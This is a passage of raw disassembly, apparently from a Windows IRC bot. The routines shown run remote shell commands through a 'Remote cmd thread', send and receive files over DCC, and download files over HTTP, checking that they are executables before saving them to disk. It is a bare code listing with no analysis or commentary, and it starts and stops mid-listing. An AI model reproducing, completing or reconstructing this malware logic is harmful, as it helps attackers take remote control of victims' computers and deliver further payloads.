--------------------------------------------------------------------------- loc_401CAF: ; CODE XREF: sub_401981+320j jmp short loc_401C78 ; --------------------------------------------------------------------------- loc_401CB1: ; CODE XREF: sub_401981+30Dj ; sub_401981+32Cj cmp [ebp+var_208], 0 jz short loc_401CC6 mov eax, [ebp+var_72C] inc eax mov [ebp+var_4], eax jmp short loc_401CCD ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401981+337j mov [ebp+var_4], 200h loc_401CCD: ; CODE XREF: sub_401981+343j push 200h push 0 lea eax, [ebp+var_204] push eax call sub_416B6A ; memset add esp, 0Ch push 0 lea eax, [ebp+var_31C] push eax push [ebp+var_4] lea eax, [ebp+var_204] push eax push dword_41DEF4 call dword_417088 ; ReadFile test eax, eax jnz short loc_401D08 jmp short loc_401D22 ; --------------------------------------------------------------------------- loc_401D08: ; CODE XREF: sub_401981+383j lea eax, [ebp+var_204] push eax lea eax, [ebp+var_510] push eax call sub_4018AF pop ecx pop ecx jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401D22: ; CODE XREF: sub_401981+238j ; sub_401981+291j ... call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax locret_401D35: ; CODE XREF: sub_401981+67j ; sub_401981+BBj ... leave retn 4 sub_401981 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D39 proc near ; CODE XREF: sub_401D6E+AFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push eax push [ebp+var_4] push [ebp+arg_0] push dword_41DEF0 call dword_417068 ; WriteFile test eax, eax jnz short loc_401D69 xor eax, eax jmp short locret_401D6C ; --------------------------------------------------------------------------- loc_401D69: ; CODE XREF: sub_401D39+2Aj push 1 pop eax locret_401D6C: ; CODE XREF: sub_401D39+2Ej leave retn sub_401D39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D6E proc near ; CODE XREF: sub_40A9CF+14A0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_401DA6 cmp [ebp+arg_4], 0 jnz short loc_401D8B jmp locret_401E36 ; --------------------------------------------------------------------------- loc_401D8B: ; CODE XREF: sub_401D6E+16j push 0 push 0 push 0 push [ebp+arg_4] push offset aOpen ; "open" push 0 call dword_4171D0 jmp locret_401E36 ; --------------------------------------------------------------------------- loc_401DA6: ; CODE XREF: sub_401D6E+10j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_401DBC jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401DBC: ; CODE XREF: sub_401D6E+4Aj cmp [ebp+arg_4], 0 jz short loc_401DD9 push 200h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch loc_401DD9: ; CODE XREF: sub_401D6E+52j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_405F67 pop ecx pop ecx push offset aRemoteCmdThrea ; "Remote cmd thread" push 1 push [ebp+var_4] push offset sub_401981 call sub_4095A4 add esp, 10h cmp [ebp+arg_4], 0 jnz short loc_401E0B jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401E0B: ; CODE XREF: sub_401D6E+99j push offset asc_418214 ; "\r\n" push [ebp+arg_4] call sub_416B70 ; _mbscat pop ecx pop ecx push [ebp+arg_4] call sub_401D39 pop ecx test eax, eax jnz short locret_401E36 push offset aErrorWhileExec ; "Error while executing command." push [ebp+arg_0] call sub_40D53F pop ecx pop ecx locret_401E36: ; CODE XREF: sub_401D6E+18j ; sub_401D6E+33j ... leave retn sub_401D6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E38 proc near ; DATA XREF: sub_4024F3+10Bo var_614 = qword ptr -614h var_60C = qword ptr -60Ch var_604 = dword ptr -604h var_600 = dword ptr -600h var_5FC = dword ptr -5FCh var_5F8 = dword ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = dword ptr -5E8h var_5E4 = dword ptr -5E4h var_5E0 = dword ptr -5E0h var_5DC = byte ptr -5DCh var_5BB = byte ptr -5BBh var_4B7 = byte ptr -4B7h var_3B7 = byte ptr -3B7h var_3AD = byte ptr -3ADh var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 604h push 3D6h push [ebp+arg_0] lea eax, [ebp+var_5E0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_5BB] push eax call dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp+var_5BB] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_5E4], eax cmp [ebp+var_5E4], 0 jnz short loc_401EA3 push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EA3: ; CODE XREF: sub_401E38+56j push 2710h push 0 lea eax, [ebp+var_3B7] push eax lea eax, [ebp+var_4B7] push eax call sub_4050EA add esp, 10h mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_401EEE push [ebp+var_5E4] call sub_416B82 ; fclose pop ecx push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EEE: ; CODE XREF: sub_401E38+95j lea eax, [ebp+var_5DC] push eax lea eax, [ebp+var_5BB] push eax mov eax, [ebp+var_5E0] push dword ptr [eax] push offset dword_418280 lea eax, [ebp+var_3AD] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp+var_5E8], eax and [ebp+var_204], 0 loc_401F2A: ; CODE XREF: sub_401E38:loc_401FD8j push 0 push 200h lea eax, [ebp+var_200] push eax push [ebp+var_208] call dword_417248 ; recv mov [ebp+var_5F0], eax cmp [ebp+var_5F0], 0 jz short loc_401F5F cmp [ebp+var_5F0], 200h jbe short loc_401F61 loc_401F5F: ; CODE XREF: sub_401E38+119j jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401F61: ; CODE XREF: sub_401E38+125j mov eax, [ebp+var_204] add eax, [ebp+var_5F0] mov [ebp+var_204], eax push [ebp+var_204] call dword_41724C ; htonl mov [ebp+var_5F4], eax push 4 lea eax, [ebp+var_5F4] push eax push [ebp+var_208] call sub_4053BF add esp, 0Ch push [ebp+var_5E4] push [ebp+var_5F0] push 1 lea eax, [ebp+var_200] push eax call sub_416B7C ; fwrite add esp, 10h cmp [ebp+var_5F0], 200h jnb short loc_401FC7 jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401FC7: ; CODE XREF: sub_401E38+18Bj mov eax, [ebp+var_5E0] cmp dword ptr [eax+4], 0 jz short loc_401FD8 jmp loc_4020BC ; --------------------------------------------------------------------------- loc_401FD8: ; CODE XREF: sub_401E38+199j jmp loc_401F2A ; --------------------------------------------------------------------------- loc_401FDD: ; CODE XREF: sub_401E38:loc_401F5Fj ; sub_401E38+18Dj push [ebp+var_5E4] call sub_416B76 ; ftell pop ecx mov [ebp+var_5EC], eax call sub_416B64 ; clock cmp [ebp+var_5E8], eax jnz short loc_402008 call sub_416B64 ; clock dec eax mov [ebp+var_5E8], eax loc_402008: ; CODE XREF: sub_401E38+1C2j mov eax, [ebp+var_5EC] cdq mov ecx, 400h idiv ecx mov [ebp+var_5F8], eax fild [ebp+var_5F8] fstp [ebp+var_5FC] call sub_416B64 ; clock sub eax, [ebp+var_5E8] mov [ebp+var_600], eax fild [ebp+var_600] fdiv flt_417270 fdivr [ebp+var_5FC] push ecx push ecx fstp [esp+60Ch+var_60C] call sub_416B64 ; clock sub eax, [ebp+var_5E8] mov [ebp+var_604], eax fild [ebp+var_604] fdiv flt_417270 push ecx push ecx fstp [esp+614h+var_614] lea eax, [ebp+var_5DC] push eax lea eax, [ebp+var_5BB] push eax push offset dword_418234 lea eax, [ebp+var_3AD] push eax call sub_40D53F add esp, 20h loc_402094: ; CODE XREF: sub_401E38:loc_4020BCj push [ebp+var_5E4] call sub_416B82 ; fclose pop ecx push [ebp+var_208] call sub_40538D pop ecx push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp short locret_4020BE ; --------------------------------------------------------------------------- loc_4020BC: ; CODE XREF: sub_401E38+19Bj jmp short loc_402094 ; --------------------------------------------------------------------------- locret_4020BE: ; CODE XREF: sub_401E38+66j ; sub_401E38+B1j ... leave retn 4 sub_401E38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020C2 proc near ; DATA XREF: sub_40260D+7Co var_A2C = qword ptr -0A2Ch var_A24 = qword ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = byte ptr -0A04h var_9FC = dword ptr -9FCh var_9F8 = dword ptr -9F8h var_9F4 = dword ptr -9F4h var_9F0 = byte ptr -9F0h var_8EC = dword ptr -8ECh var_8E8 = dword ptr -8E8h var_8E4 = dword ptr -8E4h var_8E0 = byte ptr -8E0h var_8BF = byte ptr -8BFh var_8BE = byte ptr -8BEh var_7BB = byte ptr -7BBh var_618 = dword ptr -618h var_614 = byte ptr -614h var_210 = byte ptr -210h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A1Ch push 2CCh push [ebp+arg_0] lea eax, [ebp+var_8E4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_8BF] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_9F8], eax jmp short loc_40210D ; --------------------------------------------------------------------------- loc_402100: ; CODE XREF: sub_4020C2:loc_40215Ej mov eax, [ebp+var_9F8] dec eax mov [ebp+var_9F8], eax loc_40210D: ; CODE XREF: sub_4020C2+3Cj cmp [ebp+var_9F8], 0 jnz short loc_40212D lea eax, [ebp+var_8BF] push eax lea eax, [ebp+var_9F0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40212D: ; CODE XREF: sub_4020C2+52j mov eax, [ebp+var_9F8] movsx eax, [ebp+eax+var_8BF] cmp eax, 5Ch jnz short loc_40215E mov eax, [ebp+var_9F8] lea eax, [ebp+eax+var_8BE] push eax lea eax, [ebp+var_9F0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40215E: ; CODE XREF: sub_4020C2+7Cj jmp short loc_402100 ; --------------------------------------------------------------------------- loc_402160: ; CODE XREF: sub_4020C2+69j ; sub_4020C2+9Aj mov [ebp+var_8E8], 10h lea eax, [ebp+var_8E8] push eax lea eax, [ebp+var_10] push eax call sub_40CF25 push eax call dword_417240 ; getsockname push 2 push 0 push 0 push 401h lea eax, [ebp+var_614] push eax push [ebp+var_8E8] lea eax, [ebp+var_10] push eax call dword_41DF58 ; getnameinfo test eax, eax jz short loc_4021BA push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_4021BA: ; CODE XREF: sub_4020C2+E3j push 0Ah lea eax, [ebp+var_A04] push eax push 1388h push 400h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 lea eax, [ebp+var_A04] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_9FC], eax cmp [ebp+var_9FC], 0 jnz short loc_40220F push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40220F: ; CODE XREF: sub_4020C2+138j push offset aRb ; "rb" lea eax, [ebp+var_8BF] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8EC], eax cmp [ebp+var_8EC], 0 jnz short loc_402250 push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_402250: ; CODE XREF: sub_4020C2+16Dj push 2 push 0 push [ebp+var_8EC] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_8EC] call sub_416B76 ; ftell pop ecx mov [ebp+var_A08], eax push 0 push 0 push [ebp+var_8EC] call sub_416B96 ; fseek add esp, 0Ch lea eax, [ebp+var_614] push eax lea eax, [ebp+var_9F0] push eax push offset aDccSendSS ; "DCC Send %s (%s)" lea eax, [ebp+var_8E0] push eax call sub_40D420 add esp, 10h push [ebp+var_A08] lea eax, [ebp+var_A04] push eax lea eax, [ebp+var_614] push eax call dword_417244 ; inet_addr push eax call dword_41724C ; htonl push eax lea eax, [ebp+var_9F0] push eax push offset dword_418348 lea eax, [ebp+var_8E0] push eax call sub_40D4AB add esp, 18h push 0EA60h push [ebp+var_9FC] call sub_4048EF pop ecx pop ecx mov [ebp+var_618], eax cmp [ebp+var_618], 0 jz short loc_40230F cmp [ebp+var_618], 0FFFFFFFFh jnz short loc_40233A loc_40230F: ; CODE XREF: sub_4020C2+242j push [ebp+var_8EC] call sub_416B82 ; fclose pop ecx push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40233A: ; CODE XREF: sub_4020C2+24Bj lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax mov eax, [ebp+var_8E4] push dword ptr [eax] push offset dword_418320 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp+var_9F4], eax loc_40236F: ; CODE XREF: sub_4020C2:loc_40240Dj push [ebp+var_8EC] push 200h push 1 lea eax, [ebp+var_210] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_A0C], eax cmp [ebp+var_A0C], 0 jz short loc_4023A6 cmp [ebp+var_A0C], 200h jbe short loc_4023A8 loc_4023A6: ; CODE XREF: sub_4020C2+2D6j jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023A8: ; CODE XREF: sub_4020C2+2E2j push [ebp+var_A0C] lea eax, [ebp+var_210] push eax push [ebp+var_618] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4023EE lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax push offset dword_4182F4 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 10h jmp loc_4024ED ; --------------------------------------------------------------------------- loc_4023EE: ; CODE XREF: sub_4020C2+303j cmp [ebp+var_A0C], 200h jnb short loc_4023FC jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023FC: ; CODE XREF: sub_4020C2+336j mov eax, [ebp+var_8E4] cmp dword ptr [eax+4], 0 jz short loc_40240D jmp loc_4024EB ; --------------------------------------------------------------------------- loc_40240D: ; CODE XREF: sub_4020C2+344j jmp loc_40236F ; --------------------------------------------------------------------------- loc_402412: ; CODE XREF: sub_4020C2:loc_4023A6j ; sub_4020C2+338j call sub_416B64 ; clock cmp [ebp+var_9F4], eax jnz short loc_40242B call sub_416B64 ; clock dec eax mov [ebp+var_9F4], eax loc_40242B: ; CODE XREF: sub_4020C2+35Bj mov eax, [ebp+var_A08] cdq mov ecx, 400h idiv ecx mov [ebp+var_A10], eax fild [ebp+var_A10] fstp [ebp+var_A14] call sub_416B64 ; clock sub eax, [ebp+var_9F4] mov [ebp+var_A18], eax fild [ebp+var_A18] fdiv flt_417270 fdivr [ebp+var_A14] push ecx push ecx fstp [esp+0A24h+var_A24] call sub_416B64 ; clock sub eax, [ebp+var_9F4] mov [ebp+var_A1C], eax fild [ebp+var_A1C] fdiv flt_417270 push ecx push ecx fstp [esp+0A2Ch+var_A2C] lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax push offset dword_4182B0 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 20h loc_4024B7: ; CODE XREF: sub_4020C2:loc_4024EBj ; sub_4020C2:loc_4024EDj push [ebp+var_618] call sub_40538D pop ecx push [ebp+var_8EC] call sub_416B82 ; fclose pop ecx push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp short locret_4024EF ; --------------------------------------------------------------------------- loc_4024EB: ; CODE XREF: sub_4020C2+346j jmp short loc_4024B7 ; --------------------------------------------------------------------------- loc_4024ED: ; CODE XREF: sub_4020C2+327j jmp short loc_4024B7 ; --------------------------------------------------------------------------- locret_4024EF: ; CODE XREF: sub_4020C2+F3j ; sub_4020C2+148j ... leave retn 4 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4024F3 proc near ; CODE XREF: sub_40D871+203p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_402511 cmp [ebp+arg_8], 0 jz short loc_402511 cmp [ebp+arg_C], 0 jz short loc_402511 cmp [ebp+arg_10], 0 jnz short loc_402516 loc_402511: ; CODE XREF: sub_4024F3+Aj ; sub_4024F3+10j ... jmp locret_40260B ; --------------------------------------------------------------------------- loc_402516: ; CODE XREF: sub_4024F3+1Cj push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_402531 cmp [ebp+var_8], 0FFFFh jbe short loc_402536 loc_402531: ; CODE XREF: sub_4024F3+33j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402536: ; CODE XREF: sub_4024F3+3Cj push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_402551 cmp [ebp+var_8], 40000000h jbe short loc_402556 loc_402551: ; CODE XREF: sub_4024F3+53j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402556: ; CODE XREF: sub_4024F3+5Cj push 3D6h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40256F jmp locret_40260B ; --------------------------------------------------------------------------- loc_40256F: ; CODE XREF: sub_4024F3+75j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 100h push [ebp+arg_C] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B58 ; strncpy add esp, 0Ch push 6 push [ebp+arg_10] mov eax, [ebp+var_4] add eax, 229h push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+22Fh], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 233h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_41837C push 0 push [ebp+var_4] push offset sub_401E38 call sub_4095A4 add esp, 18h locret_40260B: ; CODE XREF: sub_4024F3:loc_402511j ; sub_4024F3:loc_402531j ... leave retn sub_4024F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40260D proc near ; CODE XREF: sub_40A9CF+98Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jz short loc_40261D cmp [ebp+arg_8], 0 jnz short loc_40261F loc_40261D: ; CODE XREF: sub_40260D+8j jmp short locret_402696 ; --------------------------------------------------------------------------- loc_40261F: ; CODE XREF: sub_40260D+Ej push 2CCh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_402635 jmp short locret_402696 ; --------------------------------------------------------------------------- loc_402635: ; CODE XREF: sub_40260D+24j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4183A0 push 0 push [ebp+var_4] push offset sub_4020C2 call sub_4095A4 add esp, 18h locret_402696: ; CODE XREF: sub_40260D:loc_40261Dj ; sub_40260D+26j leave retn sub_40260D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402698 proc near ; CODE XREF: sub_402A32+5C9p var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 420h push 2710h push 0 push [ebp+arg_C] push [ebp+arg_8] call sub_4050EA add esp, 10h mov [ebp+var_414], eax cmp [ebp+var_414], 0 jnz short loc_4026CC xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4026CC: ; CODE XREF: sub_402698+2Bj push [ebp+arg_8] push [ebp+arg_10] push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 401h lea eax, [ebp+var_404] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_404] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_4053BF add esp, 0Ch push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402745 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_402758 loc_402745: ; CODE XREF: sub_402698+A2j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_402758: ; CODE XREF: sub_402698+ABj push offset asc_4183EC ; "\r\n\r\n" lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_40278D push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40278D: ; CODE XREF: sub_402698+E0j mov eax, [ebp+var_410] add eax, 4 mov [ebp+var_410], eax push offset aContentLength ; "Content-Length: " lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_40C], eax cmp [ebp+var_40C], 0 jz short loc_4027CC mov eax, [ebp+var_40C] cmp eax, [ebp+var_410] jbe short loc_4027DF loc_4027CC: ; CODE XREF: sub_402698+124j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4027DF: ; CODE XREF: sub_402698+132j and [ebp+var_41C], 0 lea eax, [ebp+var_41C] push eax push offset aContentLengthU ; "Content-Length: %u\r\n" push [ebp+var_40C] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_408], eax cmp [ebp+var_408], 1 jnz short loc_402818 cmp [ebp+var_41C], 0 jnz short loc_40282B loc_402818: ; CODE XREF: sub_402698+175j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40282B: ; CODE XREF: sub_402698+17Ej cmp [ebp+arg_1C], 0 jz short loc_40285D cmp [ebp+var_41C], 2 jb short loc_40284A mov eax, [ebp+var_410] movzx eax, word ptr [eax] cmp eax, 5A4Dh jz short loc_40285D loc_40284A: ; CODE XREF: sub_402698+1A0j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40285D: ; CODE XREF: sub_402698+197j ; sub_402698+1B0j cmp [ebp+arg_18], 0 jz short loc_40286E mov eax, [ebp+arg_18] mov ecx, [ebp+var_41C] mov [eax], ecx loc_40286E: ; CODE XREF: sub_402698+1C9j push [ebp+arg_14] call sub_4167B9 pop ecx test eax, eax jz short loc_40288E push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40288E: ; CODE XREF: sub_402698+1E1j push offset dword_4182AC push [ebp+arg_14] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 0 jnz short loc_4028BF push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4028BF: ; CODE XREF: sub_402698+212j push [ebp+var_418] mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax push ecx push 1 push [ebp+var_410] call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax mov eax, [ebp+var_41C] sub eax, ecx mov [ebp+var_41C], eax loc_402910: ; CODE XREF: sub_402698:loc_402A1Dj cmp [ebp+arg_20], 0 jz short loc_40293F mov eax, [ebp+arg_20] cmp dword ptr [eax+4], 0 jz short loc_40293F push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40293F: ; CODE XREF: sub_402698+27Cj ; sub_402698+285j push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402976 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_40299E loc_402976: ; CODE XREF: sub_402698+2D3j push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push [ebp+arg_14] call dword_4170AC ; DeleteFileA xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40299E: ; CODE XREF: sub_402698+2DCj mov eax, [ebp+var_420] cmp eax, [ebp+var_41C] jbe short loc_4029C8 push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_4029C8: ; CODE XREF: sub_402698+312j push [ebp+var_418] push [ebp+var_420] push 1 lea eax, [ebp+var_404] push eax call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_41C] sub eax, [ebp+var_420] mov [ebp+var_41C], eax cmp [ebp+var_41C], 0 jnz short loc_402A1D push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_402A1D: ; CODE XREF: sub_402698+366j jmp loc_402910 ; --------------------------------------------------------------------------- locret_402A22: ; CODE XREF: sub_402698+2Fj ; sub_402698+BBj ... leave retn sub_402698 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A24 proc near ; CODE XREF: sub_402A32+625p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A2B proc near ; CODE XREF: sub_402A32+673p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A32 proc near ; DATA XREF: sub_403260+BCo var_814 = qword ptr -814h var_804 = qword ptr -804h var_7FC = dword ptr -7FCh var_7F8 = qword ptr -7F8h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_6D5 = byte ptr -6D5h var_6D4 = byte ptr -6D4h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = byte ptr -6BCh var_6BB = byte ptr -6BBh var_63C = dword ptr -63Ch var_638 = byte ptr -638h var_637 = byte ptr -637h var_632 = byte ptr -632h var_631 = byte ptr -631h var_534 = byte ptr -534h var_430 = byte ptr -430h var_2A8 = byte ptr -2A8h var_2A7 = byte ptr -2A7h var_2A6 = byte ptr -2A6h var_2A3 = byte ptr -2A3h var_296 = byte ptr -296h var_28C = dword ptr -28Ch var_288 = dword ptr -288h var_284 = byte ptr -284h var_283 = byte ptr -283h var_204 = byte ptr -204h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 804h push edi push 3AFh push [ebp+arg_0] lea eax, [ebp+var_63C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_638] push eax lea eax, [ebp+var_7DC] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_288], 0 mov [ebp+var_28C], 1 and [ebp+var_6CC], 0 mov al, byte_41DF00 mov [ebp+var_284], al push 1Fh pop 